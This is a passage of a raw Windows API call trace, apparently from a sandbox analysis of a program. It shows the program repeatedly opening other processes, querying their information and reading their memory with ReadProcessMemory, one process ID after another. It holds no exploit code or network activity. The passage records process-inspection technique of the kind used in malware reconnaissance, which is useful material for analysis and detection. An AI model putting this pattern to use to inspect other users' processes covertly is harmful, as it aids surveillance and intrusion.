returned 0x0 [0349.341] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5248") returned 4 [0349.341] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.341] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.342] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0xa9c [0349.342] GetLastError () returned 0x0 [0349.342] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.342] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.342] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.343] malloc (_Size=0x72) returned 0xea8ca0 [0349.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c2, lpBuffer=0xea8ca0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0349.343] free (_Block=0xea8ca0) [0349.343] CloseHandle (hObject=0xa9c) returned 1 [0349.344] _ui64tow_s (in: _Value=0x148c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0349.344] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5260") returned 4 [0349.344] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.344] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.345] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0xa9c [0349.345] GetLastError () returned 0x0 [0349.345] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.345] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.345] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.345] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.345] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.345] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.346] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.346] malloc (_Size=0x62) returned 0xeb6700 [0349.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22b2, lpBuffer=0xeb6700, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0349.346] free (_Block=0xeb6700) [0349.347] CloseHandle (hObject=0xa9c) returned 1 [0349.360] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0349.360] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5324") returned 4 [0349.360] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.360] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.361] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0xa9c [0349.361] GetLastError () returned 0x0 [0349.361] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.362] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.362] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.362] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.362] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.362] malloc (_Size=0x54) returned 0xeaa5f0 [0349.362] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa5f0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa5f0*, lpNumberOfBytesRead=0x0) returned 1 [0349.363] free (_Block=0xeaa5f0) [0349.363] CloseHandle (hObject=0xa9c) returned 1 [0349.363] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0349.363] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5336") returned 4 [0349.363] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.363] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.365] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0xa9c [0349.365] GetLastError () returned 0x0 [0349.365] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.365] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.366] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.366] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.366] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.366] malloc (_Size=0x72) returned 0xea96a0 [0349.366] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5522c2, lpBuffer=0xea96a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.366] free (_Block=0xea96a0) [0349.367] CloseHandle (hObject=0xa9c) returned 1 [0349.367] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0349.367] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5352") returned 4 [0349.367] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.367] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.368] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0349.368] CloseHandle (hObject=0x0) returned 0 [0349.368] _ui64tow_s (in: _Value=0x1520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0349.368] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5408") returned 4 [0349.369] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.369] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.369] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0xa9c [0349.369] GetLastError () returned 0x0 [0349.370] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.370] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.370] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.370] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.370] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.370] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.370] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.370] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.371] malloc (_Size=0x68) returned 0xeb6700 [0349.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b22b8, lpBuffer=0xeb6700, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0349.371] free (_Block=0xeb6700) [0349.371] CloseHandle (hObject=0xa9c) returned 1 [0349.371] _ui64tow_s (in: _Value=0x154c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0349.372] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5452") returned 4 [0349.372] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.372] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.373] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0xa9c [0349.373] GetLastError () returned 0x0 [0349.373] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.373] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.374] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.374] malloc (_Size=0x76) returned 0xea9320 [0349.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d22c6, lpBuffer=0xea9320, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0349.374] free (_Block=0xea9320) [0349.374] CloseHandle (hObject=0xa9c) returned 1 [0349.375] _ui64tow_s (in: _Value=0x1568, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0349.375] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5480") returned 4 [0349.375] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.375] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.376] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0xa9c [0349.376] GetLastError () returned 0x0 [0349.376] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.377] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.377] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.377] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.377] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.377] malloc (_Size=0x7a) returned 0xe87940 [0349.377] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22ca, lpBuffer=0xe87940, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87940*, lpNumberOfBytesRead=0x0) returned 1 [0349.378] free (_Block=0xe87940) [0349.378] CloseHandle (hObject=0xa9c) returned 1 [0349.378] _ui64tow_s (in: _Value=0x1574, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0349.378] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5492") returned 4 [0349.378] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.378] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.379] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0xa9c [0349.379] GetLastError () returned 0x0 [0349.379] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.380] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.380] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.380] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 